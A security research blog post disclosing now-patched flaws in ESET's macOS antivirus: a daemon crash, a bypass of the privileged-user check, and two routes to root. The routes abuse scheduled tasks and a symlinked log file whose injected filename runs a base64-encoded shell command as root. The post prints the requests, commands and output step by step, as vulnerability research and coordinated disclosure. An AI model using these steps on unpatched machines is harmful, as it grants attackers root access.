In one of our assignments we encountered ESET's anti-virus solution for macOS. We were interested to see if we can turn the anti-virus solution against itself, and use it as a mechanism for privilege escalation. This blog post discusses multiple security issues found. The findings in this post are based on ESET Cyber Security 6.7.900.0. The issues also apply to Cyber Security Pro, Endpoint Antivirus and Endpoint Security. During our research we disclosed our findings to ESET's security team as we found them. They were great to work with and resolved all reported issues. Users are recommended to update to the latest version available.
The main ESET user interface:
To perform its functions as an anti-virus engine ESET Cyber Security needs to run with high privileges. It uses these privileges, for example, to be able to scan files from any user. A common architecture used by anti-virus engines is to split the product into multiple components. Only the components that need the highest privileges run as root. Other components, such as the user-interface, run with low privileges. Communication between the two segments happens over a unix domain socket. This architecture is also used by ESET.
Communication between the userland GUI and the daemon is done over a unix domain socket in /tmp/esets.sock:
users-iMac:~ user$ ls -al /tmp/
prw-r--r-- 1 user wheel 0 Aug 26 01:00 esets.gui.501.fifo
srw-rw-rw- 1 root wheel 0 Aug 26 00:56 esets.sock
All users are allowed to write to the socket, but the privileges of the user are verified in the daemon. Most functions are limited to 'privileged' users. These users (or groups) are configured in the GUI. In this blog post we will refer to those users as 'ESET privileged users'.
Our research plan is as follows:
Instead of reversing the protocol statically we decided to get a feeling for the communication by using dynamic analysis. We instrument the daemon process using dtruss
and log all arguments to the syscall sendto()
. With the daemon logging all requests we generate traffic by clicking around in the GUI and toggling the setting "Removable media blocking".
$ sudo dtrace -p $(pgrep esets_daemon) -qn "syscall::sendto:entry { tracemem(copyin(arg1, 260), 260); }"
> 0000 f0 00 00 00 00 08 00 00 3e 0c d9 10 0f 01 00 02 ........>.......
> 0010 ec 00 00 00 00 00 00 00 02 00 00 00 20 00 00 00 ............ ...
> 0020 7b 22 6d 65 74 68 6f 64 22 3a 20 22 5f 43 45 2e {"method": "_CE.
> 0030 72 70 63 5f 61 70 69 2e 73 63 72 65 65 6e 5f 76 rpc_api.screen_v
> 0040 61 6c 75 65 73 5f 73 65 74 22 2c 20 22 69 64 22 alues_set", "id"
> 0050 3a 20 32 38 32 36 35 39 39 30 32 2c 20 22 70 61 : 282659902, "pa
> 0060 72 61 6d 73 22 3a 20 7b 22 6d 61 6a 6f 72 22 3a rams": {"major":
> 0070 20 33 39 33 32 32 33 2c 20 22 6d 69 6e 6f 72 22 393223, "minor"
> 0080 3a 20 35 38 39 38 32 34 30 30 2c 20 22 70 72 6f : 58982400, "pro
> 0090 64 75 63 74 22 3a 20 22 68 6f 6d 65 5f 6d 61 63 duct": "home_mac
> 00a0 22 2c 20 22 76 61 6c 75 65 73 22 3a 20 7b 22 70 ", "values": {"p
> 00b0 6c 75 67 69 6e 73 2e 6d 61 63 22 3a 20 7b 22 65 lugins.mac": {"e
> 00c0 6e 61 62 6c 65 64 22 3a 20 31 2c 20 22 62 6c 6f nabled": 1, "blo
> 00d0 63 6b 22 3a 20 30 2c 20 22 65 78 63 65 70 74 69 ck": 0, "excepti
> 00e0 6f 6e 73 22 3a 20 30 7d 7d 7d 7d 00 67 75 69 00 ons": 0}}}}.gui.
The communication consists of JSON requests that are prepended with 32 bytes of unknown data. By triggering more requests we can start identifying some of the fields:
Note that the identifier field is included twice. Once in the JSON data as the value 282659902 and once as the value "3e0cd910". This is the same value (282659902 = 0x10d90c3e
). This identifier is unique per request and is generated with the pseudo-code (getpid() << 16) | clock() | 0x10
.
We started implementing our own client to talk to the daemon, but ran into an issue where the message identifier is prepended by zeroes (eg 00000002
). When trying to parse the request the daemon crashes and the processes esets_daemon
, esets_fcor
and esets_proxy
are killed. The processes automatically respawn after a couple of seconds, but by running the script in a loop the processes are effectively killed. An attacker can abuse this bug to stop any protection from ESET and launch his attack.
The crash bug in action:
This issue was assigned CVE-2019-17549.
With an initial understanding of the protocol we can start communicating with the daemon.
The ESET daemon exposes a small API to the GUI. Most of the functions are restricted to "ESET privileged users". These privileged users are configured with the setting daemon.settings.security.privileges.users
. Interestingly, modifying this setting is not limited to ESET privileged users. Any user can add himself to this group. The following request will do just that:
data = {
"id": 1234,
"method": "_CE.rpc_api.screen_values_set",
"params": {
"values": {
"daemon.settings.security.privileges.users": ["root", current_user()]
},
},
}
It looks like we found our bypass for privileged users. However, when sending the message to the daemon it always returns an error code. We assumed the problem was the invalid value for id
and started reversing the relevant code. At the same time we started a simple fuzzer and found an interesting bug: setting the identifier to double zeroes (00)
is always accepted as a valid identifier. The message is now accepted by the daemon and we can now add ourselves to the ESET privileged users:
This issue was assigned CVE-2019-16519 and fixed in version 6.8.1. ESET also released an advisory with additional information.
Once we added ourselves to the ESET privileged users we can call all functions exposed by the daemon. The next step is to look for vulnerabilities in those and get code execution as root.
One of the functions exposed by the daemon is the creation of scheduled tasks. An ESET privileged user can schedule tasks to run at certain conditions. The image below shows the default tasks for ESET:
Users can add their own tasks to the scheduler. Example tasks are scheduling a system scan at a certain date, updating the anti-virus signatures or running a custom shell script. The scheduled tasks run as a low-privileged linux user. This user is configured in a hidden setting. You can view this setting by calling _CE.rpc_api.screen_values_get
. A snippet of the output returned:
..
"scheduler": {
"reserved": 0,
"settings": {
"user_for_external_cmd": "nobody", // gets translated to eset_ecs6m_schedd
"tasks": [
{
"action": {
"uscan_args": {
"profile": "",
"excludes": [],
"log_user": "",
"shutdown_after_scan_locked": False,
..
The setting user_for_external_command
is not configurable from the GUI. But by using our custom client it can be changed. Changing it to root will execute a scheduled tasks as root
.
Combined with bypassing privileged users check as described above this allows any user to first add himself to the ESET privileged users and then get code execution as root:
Another way to escalate to root is by abusing log files. An ESET privileged user can configure the log directory to any location on the system. The following screenshot shows the log directory being set to "/tmp/logdir".
This automatically creates the following files on the system
users-iMac:protocol user$ ls -al /tmp/logdir
total 0
drwxr-xr-x 7 user wheel 238 Sep 17 05:45 .
drwxrwxrwt 9 root wheel 306 Sep 17 05:45 ..
-rw------- 1 root wheel 0 Sep 17 05:45 devctllog.txt
-rw------- 1 root wheel 0 Sep 17 05:45 eventslog.txt
-rw------- 1 root wheel 0 Sep 17 05:45 firewalllog.txt
-rw------- 1 root wheel 0 Sep 17 05:45 threatslog.txt
-rw------- 1 root wheel 0 Sep 17 05:45 webctllog.txt
Should any of the logfiles exist the ESET daemon will append to the existing file. The issue is that the log directory is configured by the current user, but the logfiles are written by the root user. To exploit the issue the ESET daemon is tricked into logging its results to a special file by using symbolic links. The example below appends to the file /etc/defaults/periodic.conf
.
1. Prepare a log directory
mkdir /tmp/lpe_logdir/
ln -s /etc/defaults/periodic.conf /tmp/lpe_logdir/threatslog.txt
2. In the GUI: configure the log directory /tmp/lpe_logdir
The log directory now looks like:
users-iMac:eset user$ ls -al /tmp/lpe_logdir/
total 8
drwxr-xr-x 7 user wheel 238 Sep 17 05:47 .
drwxrwxrwt 10 root wheel 340 Sep 17 05:46 ..
-rw------- 1 root wheel 0 Sep 17 05:47 devctllog.txt
-rw------- 1 root wheel 0 Sep 17 05:47 eventslog.txt
-rw------- 1 root wheel 0 Sep 17 05:47 firewalllog.txt
lrwxr-xr-x 1 user wheel 27 Sep 17 05:47 threatslog.txt -> /etc/defaults/periodic.conf
-rw------- 1 root wheel 0 Sep 17 05:47 webctllog.txt
3. Trigger the daemon to write to threatslog.txt
The ESET daemon writes information about detected threats to threatslog.txt. By creating a test virus with a special filename an attacker can control parts of the data that is written to the file:
users-iMac:~ user$ test=`echo '(date;id) > /tmp/eset_lpe.txt' | base64`
users-iMac:~ user$ echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > "/tmp/lpe_logdir/
echo ${test} | base64 -D|sh
"
users-iMac:~ user$
4. Wait till ESET detects the EICAR virus
The malicious filename is now logged to /etc/defaults/periodic.conf
and will get executed on the next periodic run. Now wait a day until periodic has been executed by root, or test it manually as shown below:
users-iMac:~ user$ sudo periodic daily
Password:
/etc/defaults/periodic.conf: line 140: 2019-09-17T12:47:53: command not found
/etc/defaults/periodic.conf: line 142: Eicar: command not found
/etc/defaults/periodic.conf: line 143: 2019-09-17T12:47:53: command not found
/etc/defaults/periodic.conf: line 145: Eicar: command not found
users-iMac:~ user$ cat /tmp/eset_lpe.txt
Tue Sep 17 05:48:23 PDT 2019
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh-disabled)
Combined with bypassing privileged users check as described above this allows any user to first add himself to the ESET privileged users, and then get code execution as root. This issue was assigned CVE-2019-19792 and fixed in 6.8.300.0.